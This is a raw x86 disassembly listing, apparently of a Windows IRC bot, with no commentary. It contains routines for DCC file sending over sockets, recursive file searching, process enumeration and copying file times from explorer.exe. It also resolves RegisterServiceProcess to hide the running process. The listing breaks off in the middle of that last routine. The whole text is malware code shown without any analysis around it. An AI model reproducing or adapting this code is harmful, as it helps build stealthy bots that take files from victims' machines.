push 0FFFFFFFFh
push offset SEH_40C430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 4
push 0Eh
push 5
push 13h
push 4Fh
push 3
push 3
lea eax, [esp+48h+var_24]
push 4
mov esi, ecx
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_40168B
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
sub_40C430 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C4D0 proc near ; CODE XREF: sub_40171Cj
var_AB4 = dword ptr -0AB4h
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = byte ptr -0A9Ch
var_A98 = byte ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = dword ptr -0A90h
var_A8C = dword ptr -0A8Ch
var_A88 = dword ptr -0A88h
var_A84 = dword ptr -0A84h
var_A78 = byte ptr -0A78h
var_A74 = dword ptr -0A74h
var_A70 = byte ptr -0A70h
var_A6C = byte ptr -0A6Ch
var_A5C = byte ptr -0A5Ch
var_A54 = byte ptr -0A54h
var_A3C = byte ptr -0A3Ch
var_A38 = byte ptr -0A38h
var_A24 = byte ptr -0A24h
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_910 = byte ptr -910h
var_710 = byte ptr -710h
var_510 = byte ptr -510h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40C4D0
push eax
mov large fs:0, esp
sub esp, 0AA0h
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4014DD
mov ebp, [esp+0ABCh+arg_0]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CA1E
lea ecx, [esp+0ABCh+var_A78]
call sub_401091
push 1
push offset asc_444600 ; " "
lea eax, [esp+0AC4h+var_A3C]
xor esi, esi
push 1
push eax
mov ecx, ebp
mov [esp+0ACCh+var_4], esi
call sub_4011EA
push eax
lea ecx, [esp+0AC0h+var_A70]
mov byte ptr [esp+0AC0h+var_4], 1
call sub_40202C
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
push esi
push 1
push 2
mov [esp+0AC8h+var_AA8], esi
mov [esp+0AC8h+var_AA4], esi
mov [esp+0AC8h+var_A90], esi
nop
call near ptr 71AB3B91h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [esp+0ABCh+var_AAC], ebx
jnz short loc_40C59C
lea ecx, [esp+0ABCh+var_710]
push offset aDccFailedToCre ; "[DCC]: Failed to create socket."
push ecx
nop
call sub_5F285B
add esp, 8
jmp loc_40C9C5
; ---------------------------------------------------------------------------
loc_40C59C: ; CODE XREF: sub_40C4D0+AFj
xor edx, edx
push esi
mov [esp+0AC0h+var_AA0], edx
mov word ptr [esp+0AC0h+var_AA0], 2
mov dword ptr [esp+0AC0h+var_A9C], edx
mov dword ptr [esp+0AC0h+var_A98], edx
mov [esp+0AC0h+var_A94], edx
nop
call near ptr 71AB2B66h
mov word ptr [esp+0ABCh+var_AA0+2], ax
lea eax, [esp+0ABCh+var_AA0]
push 10h
push eax
push ebx
mov dword ptr [esp+0AC8h+var_A9C], esi
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_40C5EA
lea ecx, [ebp+69h]
call sub_4014DD
push eax
push offset aDccFailedToBin ; "dcc: failed to bind socket"
jmp loc_40C690
; ---------------------------------------------------------------------------
loc_40C5EA: ; CODE XREF: sub_40C4D0+105j
lea eax, [esp+0ABCh+var_A88]
lea ecx, [esp+0ABCh+var_AA0]
push eax
push ecx
push ebx
mov [esp+0AC8h+var_A88], 10h
nop
call near ptr 71AB951Eh
mov edx, [esp+0ABCh+var_AA0+2]
push edx
call near ptr 71AB2B66h
nop
lea ecx, [esp+0ABCh+var_A70]
mov [esp+0ABCh+var_A8C], eax
call sub_4014DD
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+0ABCh+var_910]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
xor edx, edx
rep movsb
loc_40C643: ; CODE XREF: sub_40C4D0+1A3j
mov al, [esp+edx+0ABCh+var_910]
cmp al, 20h
jnz short loc_40C655
mov eax, 5Fh
jmp short loc_40C658
; ---------------------------------------------------------------------------
loc_40C655: ; CODE XREF: sub_40C4D0+17Cj
movsx eax, al
loc_40C658: ; CODE XREF: sub_40C4D0+183j
mov [esp+edx+0ABCh+var_510], al
lea edi, [esp+0ABCh+var_910]
or ecx, 0FFFFFFFFh
xor eax, eax
inc edx
repne scasb
not ecx
dec ecx
cmp edx, ecx
jbe short loc_40C643
push 1
push ebx
call near ptr 71AB88D3h
nop
test eax, eax
jz short loc_40C6AD
lea ecx, [ebp+69h]
call sub_4014DD
push eax
push offset aDccFailedToOpe ; "dcc: failed to open socket"
loc_40C690: ; CODE XREF: sub_40C4D0+115j
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_40C9BF
; ---------------------------------------------------------------------------
loc_40C6AD: ; CODE XREF: sub_40C4D0+1B0j
push 0
push 0
push 3
push 0
push 1
push 80000000h
lea ecx, [esp+0AD4h+var_A70]
call sub_4017EE
push eax
nop
call near ptr 2860000h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C714
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccFileDoesnTE ; "dcc: file doesn't exist"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
lea edx, [esp+0ABCh+var_710]
push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
push edx
nop
call sub_5F285B
add esp, 8
jmp loc_40C9BF
; ---------------------------------------------------------------------------
loc_40C714: ; CODE XREF: sub_40C4D0+201j
push 0
push esi
nop
call near ptr 2850B3Fh
lea ecx, [esp+0ABCh+var_A54]
mov ebx, eax
call sub_40142E
mov eax, [esp+0ABCh+var_A8C]
push ebx
and eax, 0FFFFh
mov byte ptr [esp+0AC0h+var_4], 2
push eax
mov eax, dword_4D808D
push eax
call sub_401E10
add esp, 4
push eax
call near ptr 71AB2BF4h
nop
push eax
call near ptr 71AB2BC0h
nop
push eax
lea ecx, [esp+0AD0h+var_A78]
call sub_4017EE
push eax
lea ecx, [esp+0AD4h+var_A5C]
push offset dword_444A00
push ecx
call sub_40102D
add esp, 18h
lea ecx, [ebp+15h]
call sub_40168B
push eax
lea ecx, [esp+0AC8h+var_A5C]
call sub_4014DD
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
mov edi, [esp+0AC4h+var_AB4]
lea ecx, [esp+0AC4h+var_A88]
push ecx
push 0
lea edx, [esp+0ACCh+var_A1C]
push 0
push edx
push 0
mov [esp+0AD8h+var_A88], 3Ch
mov [esp+0AD8h+var_A84], 0
mov [esp+0AD8h+var_A18], edi
mov [esp+0AD8h+var_A1C], 1
nop
call near ptr 71AB2DC0h
test eax, eax
jg short loc_40C80D
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccTimeout ; "dcc: timeout"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_40C9AA
; ---------------------------------------------------------------------------
loc_40C80D: ; CODE XREF: sub_40C4D0+310j
lea edx, [esp+0ABCh+var_A84]
lea eax, [esp+0ABCh+var_A24]
push edx
push eax
push edi
mov [esp+0AC8h+var_A84], 10h
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
mov [esp+0ABCh+var_A74], eax
jnz short loc_40C85D
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push offset aDccUnableToOpe ; "dcc: unable to open socket"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_40C9AA
; ---------------------------------------------------------------------------
loc_40C85D: ; CODE XREF: sub_40C4D0+360j
push edi
nop
call near ptr 71AB9639h
test ebx, ebx
jz loc_40C915
loc_40C86C: ; CODE XREF: sub_40C4D0+438j
mov ebp, 400h
cmp ebx, ebp
jge short loc_40C877
mov ebp, ebx
loc_40C877: ; CODE XREF: sub_40C4D0+3A3j
mov edx, ebx
xor eax, eax
neg edx
push 2
mov ecx, 100h
lea edi, [esp+0AC0h+var_40C]
push eax
push edx
push esi
rep stosd
nop
call near ptr 2850000h
lea eax, [esp+0ABCh+var_A90]
push 0
push eax
lea ecx, [esp+0AC4h+var_40C]
push ebp
push ecx
push esi
nop
call near ptr 2840B3Eh
mov eax, [esp+0ABCh+var_A74]
push 0
lea edx, [esp+0AC0h+var_40C]
push ebp
push edx
push eax
call near ptr 71AB428Ah
nop
mov ecx, [esp+0ABCh+var_AA8]
mov ebp, [esp+0ABCh+var_AA4]
mov edi, eax
push 0
cdq
add ecx, eax
push 400h
mov [esp+0AC4h+var_AA8], ecx
lea ecx, [esp+0AC4h+var_40C]
adc ebp, edx
mov edx, [esp+0AC4h+var_A74]
push ecx
push edx
mov [esp+0ACCh+var_AA4], ebp
nop
call near ptr 71AB615Ah
cmp eax, 1
jl loc_40C9DE
cmp edi, 1
jl loc_40C9DE
sub ebx, edi
jnz loc_40C86C
mov ebp, [esp+0ABCh+arg_0]
loc_40C915: ; CODE XREF: sub_40C4D0+396j
push esi
call near ptr 28406F3h
nop
lea ecx, [esp+0AB8h+var_A38]
call sub_40142E
mov eax, [esp+0AB8h+var_AA0]
mov ecx, [esp+0AB8h+var_AA4]
push eax
push ecx
lea ecx, [esp+0AC0h+var_A6C]
mov byte ptr [esp+0AC0h], 3
call sub_4014DD
mov edx, [esp+0AC0h+var_A1C]
push eax
push edx
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+0ACCh+var_A3C]
push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"...
push eax
call sub_40102D
add esp, 18h
lea ecx, [ebp+69h]
call sub_4014DD
push eax
lea ecx, [esp+0AC0h+var_A3C]
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 2
call sub_401226
loc_40C9AA: ; CODE XREF: sub_40C4D0+338j
; sub_40C4D0+388j
lea ecx, [esp+0ABCh+var_A54]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
mov ebx, [esp+0ABCh+var_AAC]
loc_40C9BF: ; CODE XREF: sub_40C4D0+1D8j
; sub_40C4D0+23Fj
xor esi, esi
cmp ebx, esi
jbe short loc_40C9CC
loc_40C9C5: ; CODE XREF: sub_40C4D0+C7j
push ebx
nop
call near ptr 71AB9639h
loc_40C9CC: ; CODE XREF: sub_40C4D0+4F3j
mov eax, [esp+0ABCh+var_A74]
push eax
call near ptr 71AB9639h
nop
push esi
nop
call near ptr 2840000h
loc_40C9DE: ; CODE XREF: sub_40C4D0+427j
; sub_40C4D0+430j
mov esi, [esp+0ABCh+arg_0]
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aDccSocketError ; "dcc: socket error"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
mov edx, [esp+0ABCh+var_A74]
push edx
nop
call near ptr 71AB9639h
push 1
nop
call near ptr 2840000h
loc_40CA1E: ; CODE XREF: sub_40C4D0+39j
mov ecx, [esp+0ABCh+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 0AACh
retn 4
sub_40C4D0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CBA0 proc near ; CODE XREF: sub_401091j
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_40142E
mov eax, esi
pop esi
retn
sub_40CBA0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CBC0: ; CODE XREF: ___:loc_401B13j
add ecx, 8
jmp sub_401226
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40CBE0 proc near ; CODE XREF: sub_402063j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CBE0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 0Ch
push 9
lea eax, [esp+38h+var_24]
push 6
mov esi, ecx
push eax
call sub_4019C4
add esp, 18h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
sub_40CBE0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CC80 proc near ; CODE XREF: sub_401BB8j
var_279 = byte ptr -279h
var_278 = byte ptr -278h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = byte ptr -258h
var_247 = byte ptr -247h
var_232 = byte ptr -232h
var_221 = dword ptr -221h
var_21D = dword ptr -21Dh
var_219 = dword ptr -219h
var_215 = dword ptr -215h
var_211 = dword ptr -211h
var_20C = byte ptr -20Ch
var_208 = byte ptr -208h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40CC80
push eax
mov large fs:0, esp
sub esp, 270h
add ecx, 4
push esi
call sub_4014DD
mov esi, [esp+280h+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CE81
push ebx
lea ecx, [esp+284h+var_260]
call sub_40199C
lea eax, [esi+2Ah]
xor ebx, ebx
push eax
lea ecx, [esp+288h+var_25C]
mov [esp+288h+var_4], ebx
mov [esp+288h+var_260], ebx
call sub_40202C
push 1
push offset asc_444600 ; " "
lea ecx, [esp+28Ch+var_278]
push 2
push ecx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+288h+var_247]
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
push 1
push offset asc_444600 ; " "
lea edx, [esp+28Ch+var_278]
push 3
push edx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 2
call sub_4017EE
push eax
lea ecx, [esp+288h+var_232]
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
mov edx, [esp+284h+var_221]
xor eax, eax
mov al, [esi+94h]
xor ecx, ecx
mov cl, [esi+93h]
mov [esp+284h+var_219], eax
lea eax, [esp+284h+var_278]
mov [esp+284h+var_215], ecx
push edx
push eax
lea ecx, [esp+28Ch+var_232]
mov [esp+28Ch+var_21D], ebx
mov [esp+28Ch+var_211], 1
call sub_401E47
push offset asc_444AD4 ; "\\"
mov ecx, eax
mov byte ptr [esp+288h+var_4], 3
call sub_4012EE
test eax, eax
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
setz [esp+284h+var_279]
call sub_401226
cmp [esp+284h+var_279], bl
jz short loc_40CDFB
mov ecx, [esp+284h+var_221]
lea edx, [esp+284h+var_278]
push ecx
push edx
lea ecx, [esp+28Ch+var_232]
call sub_401E47
push offset dword_448F34
mov ecx, eax
mov byte ptr [esp+288h+var_4], 4
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
loc_40CDFB: ; CODE XREF: sub_40CC80+142j
push ebx
lea ecx, [esp+288h+var_232]
call sub_4014DD
push eax
lea ecx, [esp+28Ch+var_247]
call sub_4014DD
push eax
mov eax, [esp+290h+var_219]
push eax
lea ecx, [esp+294h+var_25C]
call sub_40168B
mov ecx, [esp+294h+var_260]
push eax
push ecx
call sub_40227A
push eax
lea edx, [esp+2A0h+var_20C]
push offset aFilesFoundD ; "Files Found: %d"
push edx
call sub_5F285B
nop
mov eax, [esp+2A4h+var_211]
add esp, 24h
cmp eax, ebx
jnz short loc_40CE6C
mov eax, [esp+280h+var_215]
lea ecx, [esp+280h+var_208]
push eax
push ecx
lea ecx, [esp+288h+var_258]
call sub_40168B
mov edx, [esp+288h+var_25C]
push eax
push edx
call sub_40152D
add esp, 10h
loc_40CE6C: ; CODE XREF: sub_40CC80+1C9j
mov eax, [esp+280h+var_219]
push eax
call sub_401E3D
add esp, 4
push ebx
call near ptr 2840000h
nop
pop ebx
loc_40CE81: ; CODE XREF: sub_40CC80+36j
mov ecx, [esp+280h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 27Ch
retn 4
sub_40CC80 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CF30 proc near ; CODE XREF: sub_40199Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CF30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_40CF30 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CFB0: ; CODE XREF: ___:loc_40228Ej
push 0FFFFFFFFh
push offset loc_43A086
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+2Eh]
mov dword ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+10h], 0
call sub_401226
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40D030 proc near ; CODE XREF: sub_40227Aj
var_548 = byte ptr -548h
var_51C = byte ptr -51Ch
var_51B = byte ptr -51Bh
var_408 = byte ptr -408h
var_304 = byte ptr -304h
var_200 = byte ptr -200h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
sub esp, 548h
lea eax, [esp+548h+var_408]
push ebx
push ebp
push esi
mov esi, [esp+554h+arg_10]
push edi
mov edi, dword_511AE4
push esi
push offset aS_1 ; "%s\\*"
push 104h
push eax
call edi ; _snprintf
add esp, 10h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
nop
call near ptr 2880000h
mov ebp, [esp+558h+arg_14]
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D0F7
loc_40D080: ; CODE XREF: sub_40D030+C5j
test [esp+558h+var_548], 10h
jz short loc_40D0E7
cmp [esp+558h+var_51C], 2Eh
jnz short loc_40D09A
mov al, [esp+558h+var_51B]
test al, al
jz short loc_40D0E7
cmp al, 2Eh
jz short loc_40D0E7
loc_40D09A: ; CODE XREF: sub_40D030+5Cj
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_304]
push eax
push esi
push offset dword_444684
push 104h
push ecx
call edi ; _snprintf
mov eax, [esp+56Ch+arg_C]
mov ecx, [esp+56Ch+arg_8]
lea edx, [esp+56Ch+var_304]
push ebp
push edx
mov edx, [esp+574h+arg_4]
push eax
mov eax, [esp+578h+arg_0]
push ecx
push edx
push eax
call sub_40227A
add esp, 2Ch
mov ebp, eax
loc_40D0E7: ; CODE XREF: sub_40D030+55j
; sub_40D030+64j ...
lea ecx, [esp+558h+var_548]
push ecx
push ebx
nop
call near ptr 2870000h
test eax, eax
jnz short loc_40D080
loc_40D0F7: ; CODE XREF: sub_40D030+4Ej
push ebx
nop
call near ptr 28602C4h
mov edx, [esp+558h+arg_C]
lea eax, [esp+558h+var_408]
push edx
push esi
push offset dword_444684
push 104h
push eax
call edi ; _snprintf
add esp, 14h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
nop
call near ptr 2880000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D18B
loc_40D138: ; CODE XREF: sub_40D030+159j
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_200]
push eax
push esi
push offset aFoundSS ; "Found: %s\\%s"
push 200h
push ecx
inc ebp
call edi ; _snprintf
mov edx, [esp+56Ch+arg_8]
mov ecx, [esp+56Ch+arg_4]
lea eax, [esp+56Ch+var_200]
push edx
mov edx, [esp+570h+arg_0]
push eax
push ecx
push edx
call sub_40152D
add esp, 24h
lea eax, [esp+558h+var_548]
push eax
push ebx
call near ptr 2870000h
nop
test eax, eax
jnz short loc_40D138
loc_40D18B: ; CODE XREF: sub_40D030+106j
push ebx
nop
call near ptr 28602C4h
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 548h
retn
sub_40D030 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D200 proc near ; CODE XREF: sub_40104Bj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40D200
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 4
push 4
push 1
push 13h
lea eax, [esp+58h+var_3C]
push 1
mov esi, ecx
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+19h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_40D200 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 13h
lea edx, [esp+1Ch]
push 1
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+47h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 4
push 1
push 3
push 16h
lea ecx, [esp+20h]
push 13h
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+75h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 3
push 16h
push 13h
lea eax, [esp+3Ch]
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
add esi, 0A3h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D3B0: ; CODE XREF: ___:004013CFj
sub esp, 104h
lea eax, [esp+0]
push 104h
push eax
push 0
nop
call near ptr 2881BAFh
push eax
nop
call near ptr 2881090h
mov eax, dword_449070
test eax, eax
jz loc_40D4D3
mov ecx, dword_44906C
test ecx, ecx
jz loc_40D4D3
mov ecx, dword_448F38
test ecx, ecx
jz loc_40D4D3
push 0
push 2
call eax ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov dword_449068, eax
jz loc_40D4D3
push ebp
push offset dword_448F40
push eax
xor ebp, ebp
mov dword_448F40, 128h
call dword_44906C ; Process32First
test eax, eax
jz loc_40D4BC
push ebx
mov ebx, [esp+110h]
push esi
mov esi, dword_511AE0
push edi
loc_40D43D: ; CODE XREF: ___:0040D4B7j
mov edi, offset dword_448F64
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+10h]
repne scasb
not ecx
dec ecx
mov edi, offset dword_448F64
push ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+14h]
sub edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push offset dword_448F64
add edx, ecx
push edx
call esi ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_40D4A3
mov edi, offset dword_448F64
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push offset dword_448F64
mov ecx, ebx
call sub_40168B
push eax
call esi ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_40D4A4
loc_40D4A3: ; CODE XREF: ___:0040D47Bj
inc ebp
loc_40D4A4: ; CODE XREF: ___:0040D4A1j
mov eax, dword_449068
push offset dword_448F40
push eax
call dword_448F38 ; Process32Next
test eax, eax
jnz short loc_40D43D
pop edi
pop esi
pop ebx
loc_40D4BC: ; CODE XREF: ___:0040D427j
mov ecx, dword_449068
push ecx
nop
call near ptr 28406F3h
mov eax, ebp
pop ebp
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_40D4D3: ; CODE XREF: ___:0040D3D6j
; ___:0040D3E4j ...
xor eax, eax
add esp, 104h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D530: ; CODE XREF: ___:00401FAFj
sub esp, 11Ch
lea eax, [esp+18h]
push ebx
push esi
push edi
push 104h
push eax
nop
call near ptr 2890ADFh
mov edi, offset aExplorer_exe ; "\\explorer.exe"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+24h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
push 80h
and ecx, 3
push 3
push eax
push 1
rep movsb
mov edi, dword_5118F0
lea eax, [esp+38h]
push 80000000h
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D5F6
lea ecx, [esp+1Ch]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+18h]
push edx
push eax
push esi
nop
call near ptr 2890611h
mov ebx, dword_5118E0
push esi
call ebx
mov ecx, [esp+12Ch]
push 0
push 80h
push 3
push 0
push 2
push 40000000h
push ecx
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D5F6
lea edx, [esp+1Ch]
lea eax, [esp+0Ch]
push edx
lea ecx, [esp+18h]
push eax
push ecx
push esi
nop
call near ptr 2890000h
push esi
call ebx
loc_40D5F6: ; CODE XREF: ___:0040D599j
; ___:0040D5DBj
pop edi
pop esi
pop ebx
add esp, 11Ch
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D650 proc near ; CODE XREF: sub_401B6Dj
var_19C = byte ptr -19Ch
var_184 = byte ptr -184h
var_16C = byte ptr -16Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40D650
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 190h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+1A8h+var_16C]
call sub_40142E
push 104h
push 104h
lea ecx, [esp+1B0h+var_16C]
mov [esp+1B0h+var_4], 0
call sub_401C71
push eax
nop
call near ptr 2800000h
lea ecx, [esp+1A8h+var_16C]
call sub_4017EE
push eax
lea ecx, [esi+4]
call sub_4015E1
lea ecx, [esp+1A8h+var_184]
call sub_40142E
mov ebx, 1
push 104h
push 104h
lea ecx, [esp+1B0h+var_184]
mov byte ptr [esp+1B0h+var_4], bl
call sub_401C71
push eax
push 0
call near ptr 2881BAFh
nop
push eax
nop
call near ptr 2881090h
push offset aKernel32_dll_0 ; "kernel32.dll"
nop
call near ptr 27F08FAh
mov esi, eax
test esi, esi
jz short loc_40D741
mov edi, dword_511918
push offset aRegisterservic ; "RegisterServiceProcess"
push esi
call edi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push esi
mov dword_449074, eax
call edi
push offset aProcess32first ; "Process32First"
